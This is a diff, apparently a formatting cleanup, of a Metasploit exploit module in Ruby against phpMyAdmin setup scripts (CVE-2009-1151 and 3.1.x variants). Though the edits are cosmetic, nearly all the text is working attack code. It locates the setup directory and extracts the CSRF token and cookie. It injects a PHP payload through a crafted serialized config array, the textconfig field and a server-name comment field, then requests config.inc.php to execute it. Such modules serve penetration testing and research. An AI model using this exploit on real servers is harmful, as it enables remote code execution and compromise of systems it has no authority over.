@@ -56,9 +56,9 @@ def initialize(info = {})
5656 # No filtering whatsoever, so no badchars
5757 'Compat' =>
5858 {
59- 'ConnectionType' => 'find' ,
59+ 'ConnectionType' => 'find'
6060 } ,
61- 'Keys' => [ 'php' ] ,
61+ 'Keys' => [ 'php' ]
6262 } ,
6363 'Targets' => [
6464 [ 'Automatic (phpMyAdmin 2.11.x <= 2.11.9.4 and 3.x <= 3.1.3.1)' , { } ] ,
@@ -75,10 +75,10 @@ def initialize(info = {})
7575
7676 register_options (
7777 [
78- OptString . new ( 'URI' , [ true , " Base phpMyAdmin directory path" , " /phpMyAdmin/" ] ) ,
78+ OptString . new ( 'URI' , [ true , ' Base phpMyAdmin directory path' , ' /phpMyAdmin/' ] ) ,
7979 # /scripts/setup.php - <= 2.11.9.4/3.0.x
8080 # /setup/ - >= 3.1.x
81- OptString . new ( 'SETUP_PATH' , [ false , " phpMyAdmin setup directory path (Blank to automatically detect)" ] )
81+ OptString . new ( 'SETUP_PATH' , [ false , ' phpMyAdmin setup directory path (Blank to automatically detect)' ] )
8282 ]
8383 )
8484 end
@@ -88,7 +88,7 @@ def request_setup(uri)
8888 vprint_status ( "Trying: #{ uri } " )
8989 response = send_request_raw ( { 'uri' => uri } )
9090 if response . nil?
91- vprint_error ( " Error with setup request (No response)" )
91+ vprint_error ( ' Error with setup request (No response)' )
9292 elsif response . code != 200
9393 vprint_error ( "Error with setup request (HTTP #{ response . code } , should be 200)" )
9494 else
@@ -129,21 +129,21 @@ def find_setup_path(mode: :exploit)
129129 return @response_setup if @response_setup
130130
131131 if datastore [ 'SETUP_PATH' ] . nil?
132- vprint_status ( " Attempting to automatically detect phpMyAdmin setup directory path" )
133-
134- response , version = request_setup ( " /scripts/setup.php" ) # phpMyAdmin <= 2.11.9.4/3.0.x
135- if mode == :exploit
136- response , version = request_setup ( " /setup/index.php?page=config" ) unless response &.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #1, textconfig)
137- response , version = request_setup ( " /setup/" ) unless response &.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #2, server name comments)
138- else
139- response , version = request_setup ( " /setup/" ) unless response &.code == 200 # This will report if folder is writable
140- response , version = request_setup ( " /setup/index.php?page=config" ) unless response &.code == 200 # This will not
141- end
132+ vprint_status ( ' Attempting to automatically detect phpMyAdmin setup directory path' )
133+
134+ response , version = request_setup ( ' /scripts/setup.php' ) # phpMyAdmin <= 2.11.9.4/3.0.x
135+ if mode == :exploit
136+ response , version = request_setup ( ' /setup/index.php?page=config' ) unless response &.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #1, textconfig)
137+ response , version = request_setup ( ' /setup/' ) unless response &.code == 200 # phpMyAdmin >= 3.1.x (Vulnerability #2, server name comments)
138+ else
139+ response , version = request_setup ( ' /setup/' ) unless response &.code == 200 # This will report if folder is writable
140+ response , version = request_setup ( ' /setup/index.php?page=config' ) unless response &.code == 200 # This will not
141+ end
142142 else
143143 response , version = request_setup ( datastore [ 'SETUP_PATH' ] )
144144 end
145145
146- print_error ( " Unable to find valid phpMyAdmin setup directory path" ) unless response &.code == 200
146+ print_error ( ' Unable to find valid phpMyAdmin setup directory path' ) unless response &.code == 200
147147
148148 @response_setup = response
149149 @version_setup = version
@@ -152,7 +152,7 @@ def find_setup_path(mode: :exploit)
152152
153153 def check
154154 response , version = find_setup_path ( mode : :check )
155- return Exploit ::CheckCode ::Safe unless response &.code == 200
155+ return Exploit ::CheckCode ::Safe unless response &.code == 200
156156
157157 if ( response . body !~ /"token"\s *value="([^"]+)"/ )
158158 print_error ( "Couldn't find token and can't continue without it. Is URI set correctly?" )
@@ -177,64 +177,65 @@ def check
177177 print_status ( "Target version is not in range (#{ version } )" )
178178 end
179179 else
180- print_error ( " Could not determine version" )
180+ print_error ( ' Could not determine version' )
181181 end
182182
183183 return Exploit ::CheckCode ::Safe
184184 end
185185
186- def php_serialize ( o )
187- case o
186+ def php_serialize ( obj )
187+ case obj
188188 when String
189- "s:#{ o . bytesize } :\" #{ o } \" ;"
189+ "s:#{ obj . bytesize } :\" #{ obj } \" ;"
190190 when Integer
191- "i:#{ o } ;"
191+ "i:#{ obj } ;"
192192 when TrueClass
193- " b:1;"
193+ ' b:1;'
194194 when FalseClass
195- " b:0;"
195+ ' b:0;'
196196 when Array
197- body = o . each_with_index . map { |v , i | php_serialize ( i ) + php_serialize ( v ) } . join
198- "a:#{ o . length } :{#{ body } }"
197+ body = obj . each_with_index . map { |v , i | php_serialize ( i ) + php_serialize ( v ) } . join
198+ "a:#{ obj . length } :{#{ body } }"
199199 when Hash
200- body = o . map { |k , v | php_serialize ( k ) + php_serialize ( v ) } . join
201- "a:#{ o . length } :{#{ body } }"
200+ body = obj . map { |k , v | php_serialize ( k ) + php_serialize ( v ) } . join
201+ "a:#{ obj . length } :{#{ body } }"
202202 end
203203 end
204204
205205 def valid_request ( response , expected_http_code = 200 )
206- fail_with ( Failure ::Unknown , " Error with exploit request (No response)" ) unless response
206+ fail_with ( Failure ::Unknown , ' Error with exploit request (No response)' ) unless response
207207 return if [ expected_http_code , 200 ] . include? ( response . code )
208+
208209 fail_with ( Failure ::Unknown , "Error with exploit request (HTTP #{ response . code } , expected #{ expected_http_code } )" )
209210 end
210211
211212 def exploit
212- response , version = find_setup_path ( mode : :exploit )
213- fail_with ( Failure ::NotFound , " Failed - Server may not be vulnerable" ) unless response &.code == 200
213+ response , = find_setup_path ( mode : :exploit )
214+ fail_with ( Failure ::NotFound , ' Failed - Server may not be vulnerable' ) unless response &.code == 200
214215 uri = response . request [ /^GET\s +(\S +)/ , 1 ]
215216
216217 # Find the CSRF token and session cookie
217218 fail_with ( Failure ::NotFound , "Couldn't find token and can't continue without it. Is URI set correctly?" ) if ( response . body !~ /"token"\s *value="([^"]*)"/ )
218- token = $1
219+ token = :: Regexp . last_match ( 1 )
219220 cookie = response . get_cookies
220221
221222 case uri
222223 # CVE-2009-1151
223224 when %r{/scripts/setup\. php}
224- vprint_status ( " Constructing exploit (save request) for: <= 2.11.9.4/3.0.x" )
225+ vprint_status ( ' Constructing exploit (save request) for: <= 2.11.9.4/3.0.x' )
225226
226227 injected = "host']='';#{ payload . encoded } ;//"
227228
228229 # There is probably a great deal of randomization that can be done with this PHP serialized array
229230 config_hash = {
230- " Servers" => [
231+ ' Servers' => [
231232 {
232- injected => "" ,
233- rand_text_alpha ( 9 ) => " extension" ,
234- " connect_type" => " tcp" ,
235- " compress" => false ,
236- " auth_type" => " config" ,
237- " user" => rand_text_alpha ( 4 )
233+ injected => '' ,
234+ rand_text_alpha ( 9 ) => ' extension' ,
235+ ' connect_type' => ' tcp' ,
236+ ' compress' => false ,
237+ ' auth_type' => ' config' ,
238+ ' user' => rand_text_alpha ( 4 )
238239 }
239240 ]
240241 }
@@ -244,13 +245,13 @@ def exploit
244245 print_status ( "Sending exploit (save request): #{ uri } " )
245246 response = send_request_cgi ( {
246247 'method' => 'POST' ,
247- 'uri' => uri ,
248+ 'uri' => uri ,
248249 'cookie' => cookie ,
249250 'vars_post' => {
250- 'token' => token ,
251- 'action' => 'save' ,
251+ 'token' => token ,
252+ 'action' => 'save' ,
252253 'configuration' => config ,
253- 'eoltype' => 'unix'
254+ 'eoltype' => 'unix'
254255 }
255256 } , 3 )
256257 valid_request ( response )
@@ -260,12 +261,12 @@ def exploit
260261 print_status ( "Sending exploit >= 3.1.x (textconfig): #{ uri } " )
261262 response = send_request_cgi ( {
262263 'method' => 'POST' ,
263- 'uri' => uri ,
264+ 'uri' => uri ,
264265 'cookie' => cookie ,
265266 'vars_post' => {
266- 'token' => token ,
267- 'eol' => 'unix' ,
268- 'textconfig' => "<?php #{ payload . encoded } ?>" ,
267+ 'token' => token ,
268+ 'eol' => 'unix' ,
269+ 'textconfig' => "<?php #{ payload . encoded } ?>" ,
269270 'submit_save' => 'Save'
270271
271272 }
@@ -279,80 +280,82 @@ def exploit
279280 print_status ( "Sending exploit >= 3.1.x (new server): #{ uri } " )
280281 response = send_request_cgi (
281282 {
282- 'method' => 'POST' ,
283- 'uri' => uri ,
283+ 'method' => 'POST' ,
284+ 'uri' => uri ,
284285 'vars_get' => {
285- 'phpMyAdmin' => phpmyadmin_cookie ,
286- 'check_page_refresh' => '1' ,
287- 'token' => token ,
288- 'page' => 'servers' ,
289- 'mode' => 'add' ,
290- 'submit' => 'New server'
286+ 'phpMyAdmin' => phpmyadmin_cookie ,
287+ 'check_page_refresh' => '1' ,
288+ 'token' => token ,
289+ 'page' => 'servers' ,
290+ 'mode' => 'add' ,
291+ 'submit' => 'New server'
291292 } ,
292293 'cookie' => cookie ,
293- 'ctype' => 'application/x-www-form-urlencoded' ,
294+ 'ctype' => 'application/x-www-form-urlencoded' ,
294295 'vars_post' => {
295- 'check_page_refresh' => '1' ,
296- 'token' => token ,
297- 'Servers-0-verbose' => "*/#{ payload . encoded } /*" ,
298- 'Servers-0-host' => 'localhost' ,
299- 'Servers-0-port' => '' ,
300- 'Servers-0-socket' => '' ,
301- 'Servers-0-connect_type' => 'tcp' ,
302- 'Servers-0-extension' => 'mysqli' ,
303- 'Servers-0-auth_type' => 'cookie' ,
304- 'Servers-0-user' => 'root' ,
305- 'Servers-0-password' => '' ,
306- 'Servers-0-auth_swekey_config' => '' ,
307- 'submit_save' => 'Save' ,
308- 'Servers-0-SignonSession' => '' ,
309- 'Servers-0-SignonURL' => '' ,
310- 'Servers-0-LogoutURL' => '' ,
311- 'Servers-0-only_db' => '' ,
312- 'Servers-0-hide_db' => '' ,
313- 'Servers-0-AllowRoot' => 'on' ,
314- 'Servers-0-DisableIS' => 'on' ,
315- 'Servers-0-AllowDeny-order' => '' ,
316- 'Servers-0-AllowDeny-rules' => '' ,
296+ 'check_page_refresh' => '1' ,
297+ 'token' => token ,
298+ 'Servers-0-verbose' => "*/#{ payload . encoded } /*" ,
299+ 'Servers-0-host' => 'localhost' ,
300+ 'Servers-0-port' => '' ,
301+ 'Servers-0-socket' => '' ,
302+ 'Servers-0-connect_type' => 'tcp' ,
303+ 'Servers-0-extension' => 'mysqli' ,
304+ 'Servers-0-auth_type' => 'cookie' ,
305+ 'Servers-0-user' => 'root' ,
306+ 'Servers-0-password' => '' ,
307+ 'Servers-0-auth_swekey_config' => '' ,
308+ 'submit_save' => 'Save' ,
309+ 'Servers-0-SignonSession' => '' ,
310+ 'Servers-0-SignonURL' => '' ,
311+ 'Servers-0-LogoutURL' => '' ,
312+ 'Servers-0-only_db' => '' ,
313+ 'Servers-0-hide_db' => '' ,
314+ 'Servers-0-AllowRoot' => 'on' ,
315+ 'Servers-0-DisableIS' => 'on' ,
316+ 'Servers-0-AllowDeny-order' => '' ,
317+ 'Servers-0-AllowDeny-rules' => '' ,
317318 'Servers-0-ShowDatabasesCommand' => 'SHOW DATABASES' ,
318- 'Servers-0-CountTables' => 'on' ,
319- 'Servers-0-pmadb' => '' ,
320- 'Servers-0-controluser' => '' ,
321- 'Servers-0-controlpass' => '' ,
322- 'Servers-0-verbose_check' => 'on' ,
323- 'Servers-0-bookmarktable' => '' ,
324- 'Servers-0-relation' => '' ,
325- 'Servers-0-table_info' => '' ,
326- 'Servers-0-table_coords' => '' ,
327- 'Servers-0-pdf_pages' => '' ,
328- 'Servers-0-column_info' => '' ,
329- 'Servers-0-history' => '' ,
330- 'Servers-0-designer_coords' => ''
319+ 'Servers-0-CountTables' => 'on' ,
320+ 'Servers-0-pmadb' => '' ,
321+ 'Servers-0-controluser' => '' ,
322+ 'Servers-0-controlpass' => '' ,
323+ 'Servers-0-verbose_check' => 'on' ,
324+ 'Servers-0-bookmarktable' => '' ,
325+ 'Servers-0-relation' => '' ,
326+ 'Servers-0-table_info' => '' ,
327+ 'Servers-0-table_coords' => '' ,
328+ 'Servers-0-pdf_pages' => '' ,
329+ 'Servers-0-column_info' => '' ,
330+ 'Servers-0-history' => '' ,
331+ 'Servers-0-designer_coords' => ''
331332 }
332- } , 3 )
333+ } , 3
334+ )
333335 valid_request ( response , 303 )
334336
335337 uri = uri . sub ( %r{/setup(?:/(?:config|index)\. php)?/?\z } , '/setup/config.php' )
336338 print_status ( "Sending exploit >= 3.1.x (save config): #{ uri } " )
337339 response = send_request_cgi (
338340 {
339- 'method' => 'POST' ,
340- 'uri' => uri ,
341+ 'method' => 'POST' ,
342+ 'uri' => uri ,
341343 'cookie' => cookie ,
342- 'ctype' => 'application/x-www-form-urlencoded' ,
344+ 'ctype' => 'application/x-www-form-urlencoded' ,
343345 'vars_post' => {
344- 'token' => token ,
346+ 'token' => token ,
345347 'submit_save' => 'Save'
346348 }
347- } , 3 )
349+ } , 3
350+ )
348351 valid_request ( response , 303 )
349352 else
350353 fail_with ( Failure ::Unknown , "...unsure of target: #{ uri } " )
351354 end
352355
353356 # Very short timeout because the request may never return if we're sending a socket payload
354357 timeout = 0.1
355- uri = normalize_uri ( datastore [ 'URI' ] , " /config/config.inc.php" )
358+ uri = normalize_uri ( datastore [ 'URI' ] , ' /config/config.inc.php' )
356359 print_status ( "Requesting our payload: #{ uri } " )
357360 response = send_request_raw ( {
358361 'global' => true , # Allow findsock payloads to work
0 commit comments